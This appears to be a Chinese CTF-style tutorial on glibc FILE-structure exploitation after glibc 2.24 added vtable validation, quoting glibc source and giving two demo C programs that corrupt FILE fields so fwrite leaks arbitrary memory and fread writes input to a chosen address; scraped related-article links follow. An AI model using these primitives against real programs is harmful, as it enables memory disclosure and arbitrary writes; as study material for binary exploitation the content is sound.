FILE_advance

glibc2.24中加入了对vtable劫持的检测

在 2.24 版本的 glibc 中,全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施,glibc 会在调用虚函数之前首先检查 vtable 地址的合法性。首先会验证 vtable 是否位于_IO_vtable 段中,如果满足条件就正常执行,否则会调用_IO_vtable_check 做进一步检查。

/* Check if unknown vtable pointers are permitted; otherwise,terminate the process.  */
void _IO_vtable_check (void) attribute_hidden;
/* Perform vtable pointer validation.  If validation fails, terminatethe process.  */
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{/* Fast path: The vtable pointer is within the __libc_IO_vtablessection.  */uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;uintptr_t ptr = (uintptr_t) vtable;uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;if (__glibc_unlikely (offset >= section_length))/* The vtable pointer is not in the expected section.  Use theslow path, which will terminate the process if necessary.  */_IO_vtable_check ();return vtable;
}

计算 section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;,紧接着会判断 vtable - __start___libc_IO_vtables 的 offset ,如果这个 offset 大于 section_length , 即大于 __stop___libc_IO_vtables - __start___libc_IO_vtables 那么就会调用 _IO_vtable_check() 这个函数。

void attribute_hidden
_IO_vtable_check (void)
{#ifdef SHARED/* Honor the compatibility flag.  */void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLEPTR_DEMANGLE (flag);
#endifif (flag == &_IO_vtable_check)return;/* In case this libc copy is in a non-default namespace, we alwaysneed to accept foreign vtables because there is always apossibility that FILE * objects are passed across the linkingboundary.  */{Dl_info di;struct link_map *l;if (_dl_open_hook != NULL|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0&& l->l_ns != LM_ID_BASE))return;}#else /* !SHARED *//* We cannot perform vtable validation in the static dlopen casebecause FILE * handles might be passed back and forth across theboundary.  Therefore, we disable checking in this case.  */if (__dlopen != NULL)return;
#endif__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

如果 vtable 是非法的,那么会引发 abort。

这里的检查使得以往使用 vtable 进行利用的技术很难实现

所以需要去寻找新的利用方式

fwrite

先给出fwrite执行的大致流程图

执行过程中的进行实际操作的函数符号(方便在源码中寻找):

_IO_fwrite==>_IO_new_file_xsputn==>_IO_new_file_overflow==>_IO_new_do_write==>new_do_write==>

_IO_SYSWRITE

这里给出angelboy的一种泄露方式

各个需要检查的位置

Set _flags & ~_IO_NO_WRITES

Set _flags |= _IO_CURRENTLY_PUTTING

#define _IO_NO_WRITES 8
#define _IO_CURRENTLY_PUTTING 0x800
...
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{if (f->_flags & _IO_NO_WRITES) /* SET ERROR */{f->_flags |= _IO_ERR_SEEN;__set_errno (EBADF);return EOF;}/* If currently reading or no buffer allocated. */if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL){...}if (ch == EOF)return _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);    //<=====ourgoal...
}

Set _IO_read_end == _IO_write_base

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{_IO_size_t count;if (fp->_flags & _IO_IS_APPENDING)...else if (fp->_IO_read_end != fp->_IO_write_base){...      }count = _IO_SYSWRITE (fp, data, to_do); //<=====our goal....return count;
}

演示程序

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int main(){char *msg = "secret";FILE *fp;char *buf = malloc(100);read(0,buf,100);fp = fopen("key.txt","rw");
//=================================================fp->_flags &= ~8;fp->_flags |= 0x800;fp->_flags |= _IO_IS_APPENDING;fp->_IO_write_base = msg;fp->_IO_write_ptr = msg+6;fp->_IO_read_end = fp->_IO_write_base;fp->_fileno = 1;
//=================================================fwrite(buf,1,100,fp);
}

运行结果

fread

给出fread执行的大致流程图

一种写入方式

Set read_base == read_ptr

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{    ...have = fp->_IO_read_end - fp->_IO_read_ptr;if (want <= have)...//copy data from buffer to destinationif (fp->_IO_buf_base&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))//buffer size must be larger than read size{if (__underflow (fp) == EOF)...}...
}

Set _flags & ~_IO_NO_READS

#define _IO_NO_READS 4
...
int
_IO_new_file_underflow (_IO_FILE *fp)
{...if (fp->_flags & _IO_NO_READS){...return EOF;}...count = _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);//<=====our goal...
}

演示程序

#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
int main(){FILE *fp;char *buf = malloc(100);char msg[100];fp = fopen("key.txt","rw");
//=================================================fp->_flags &= ~4;fp->_IO_buf_base = msg;fp->_IO_buf_end = msg+100;fp->_fileno = 0;
//=================================================fread(buf,1,6,fp);puts(msg);
}

运行结果

FILE攻击的一些进阶操作(待补充)相关推荐

  1. Zabbix报警机制 、 Zabbix进阶操作 、 监控案例

    一.zabbix报警机制 (邮件 短信 微信 即时消息 ) 概念介绍: 自定义的监控项默认不会自动报警 首页也不会提示错误 需要配置触发器与报警动作才可以自定报警 触发器(trigger) –表达式, ...

  2. 绝对是最实用 PostMan测试进阶操作 token校验 参数传递 存为环境变量 避免重复copy

    绝对是最实用 PostMan测试进阶操作 token校验 参数传递 存为环境变量 免重复copy 之前学的少,大都自己用junit 测试一遍就可以,不怎么会去用postman测试. 但是此次和队友一起 ...

  3. Scala数组的基本操作,数组进阶操作,多维数组

    1.Scala中提供了一种数据结构-数组,其中存储相同类型的元素的固定大小的连续集合.数组用于存储数据的集合,但它往往是更加有用认为数组作为相同类型的变量的集合 2 声明数组变量: 要使用的程序的数组 ...

  4. c++ 项不会计算为接受 0 个参数的函数_OFFSET函数从入门到进阶之进阶操作篇(与MATCH组合)...

    了解了OFFSET函数的参数和基本用法,我们就开始进行进阶操作了.在基本用法中,发现各个参数都是我们单个输入,实际工作中,OFFSET函数通常用在区域数据的引用,这就会牵涉到通过拖动进行填充,那里面的 ...

  5. Django中的ORM进阶操作

    Django中的ORM进阶操作 Django中是通过ORM来操作数据库的,通过ORM可以很easy的实现与数据库的交互.但是仍然有几种操作是非常绕也特别容易混淆的.于是,针对这一块,来一个分类总结吧. ...

  6. Polyworks脚本开发学习笔记(三)-TREEVIEW进阶操作

    Polyworks脚本开发学习笔记(三)-TREEVIEW进阶操作 移动/交换对象的顺序 移动对象的顺序 TREEVIEW FEATURE MOVE ( 1,2 ) 将索引号为1和2的特征交换位置 T ...

  7. Scrapy爬虫进阶操作之CrawlSpider(二)

    开头再来波小程序摇一摇: 上一章节,我们讲到了通过Rules来获取下一个待爬页面的URL,那么我们今天就来讲讲具体的怎么爬取一个页面. 因为我们的目的是爬取整个36页的全部美剧列表,但是在36页数据里 ...

  8. 关于keil的进阶操作.烧录、flash回读、sct文件

    一.魔术棒options for target 1.进阶操作 一般 c/c++ 标签里会有自定义的宏,选芯片时,也会给出隐藏的宏.具体在"compiler control string&qu ...

  9. 蓝色战衣变身红色战衣-【opencv进阶操作】教程

    把蓝色战衣变身红色战衣分三步: 第一步:观看蓝色战衣 第二步:找到红色战衣 第三步:观看蓝色战衣 第四步:观看蓝色战衣 while True:print("观看蓝色战衣")prin ...

最新文章

  1. Python20-Day02
  2. 使用纯C++实现SQL Server2005 数据库读写操作详细步骤
  3. java生成电子证书_关于Java:使用Bouncycastle生成数字证书
  4. 用python实现基本A*算法
  5. Frame - 快速创建高品质的 Web 应用原型
  6. 鼠标移动 改变Datagrid行的背景颜色
  7. mysql sql语句面试经典50题_经典sql面试及答案(50)
  8. 怎么使用svn下载到本地
  9. 罗马音平假字复制_急求Bigbang的日文版bangbangbang的罗马音啊!有日文平假歌词我现在复制下...
  10. HDU3533Escape(BFS )
  11. JavaScript数组对象深拷贝
  12. URL Protocol- -(coolice)
  13. sqlserver2000 详解
  14. ios-emoji的显示
  15. DD-WRT 最新版!V24 SP2
  16. Cocos2d-x扣血飘字特效用完你就消失--之游戏开发《赵云要格斗》(8)
  17. 电脑桌面登录服务器,使用windows远程桌面连接登录Windows实例
  18. 嵌入式常用的算法 - 二阶IIR低通滤波器
  19. Python项目实战:开发PetStore宠物商店项目-关东升-专题视频课程
  20. 毕业时制作的游戏demo

热门文章

  1. 学计算机的需不需要考研?看完就明白了
  2. Linux配置主机名、IP、主机映射及其虚拟网络
  3. 蓝桥杯-皮亚诺曲线距离
  4. [附源码]Nodejs计算机毕业设计江西婺源旅游文化推广系统Express(程序+LW)
  5. HDLC PPP FR(帧中继)
  6. Zabbix 报错:Get value from agent failed: cannot connect to [[127.0.0.1]:10050]: [111] Connection refus
  7. 安徽开办企业更便利 2018年新登记各类市场主体85万户
  8. 第十三讲 项目风险管理【2021年软考-高级信息系统项目管理师】
  9. 经济学十大原理以及自己的理解
  10. MSP430——UART(四)